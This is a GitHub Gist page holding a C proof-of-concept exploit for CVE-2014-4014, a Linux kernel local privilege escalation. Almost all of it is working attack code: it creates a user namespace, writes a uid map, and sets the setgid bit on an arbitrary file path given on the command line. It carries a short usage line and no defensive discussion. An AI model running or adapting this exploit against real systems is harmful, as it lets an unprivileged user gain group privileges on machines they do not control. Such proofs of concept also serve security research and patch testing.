Skip to content

Instantly share code, notes, and snippets.

Embed
What would you like to do?
CVE-2014-4014 Linux Kernel Local Privilege Escalation PoC
/**
* CVE-2014-4014 Linux Kernel Local Privilege Escalation PoC
*
* Vitaly Nikolenko
* http://hashcrack.org
*
* Usage: ./poc [file_path]
*
* where file_path is the file on which you want to set the sgid bit
*/
#define _GNU_SOURCE
#include <sys/wait.h>
#include <sched.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <limits.h>
#include <string.h>
#include <assert.h>
#define STACK_SIZE (1024 * 1024)
static char child_stack[STACK_SIZE];
struct args {
int pipe_fd[2];
char *file_path;
};
static int child(void *arg) {
struct args *f_args = (struct args *)arg;
char c;
// close stdout
close(f_args->pipe_fd[1]);
assert(read(f_args->pipe_fd[0], &c, 1) == 0);
// set the setgid bit
chmod(f_args->file_path, S_ISGID|S_IRUSR|S_IWUSR|S_IRGRP|S_IXGRP|S_IXUSR);
return 0;
}
int main(int argc, char *argv[]) {
int fd;
pid_t pid;
char mapping[1024];
char map_file[PATH_MAX];
struct args f_args;
assert(argc == 2);
f_args.file_path = argv[1];
// create a pipe for synching the child and parent
assert(pipe(f_args.pipe_fd) != -1);
pid = clone(child, child_stack + STACK_SIZE, CLONE_NEWUSER | SIGCHLD, &f_args);
assert(pid != -1);
// get the current uid outside the namespace
snprintf(mapping, 1024, "0 %d 1\n", getuid());
// update uid and gid maps in the child
snprintf(map_file, PATH_MAX, "/proc/%ld/uid_map", (long) pid);
fd = open(map_file, O_RDWR); assert(fd != -1);
assert(write(fd, mapping, strlen(mapping)) == strlen(mapping));
close(f_args.pipe_fd[1]);
assert (waitpid(pid, NULL, 0) != -1);
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
You can’t perform that action at this time.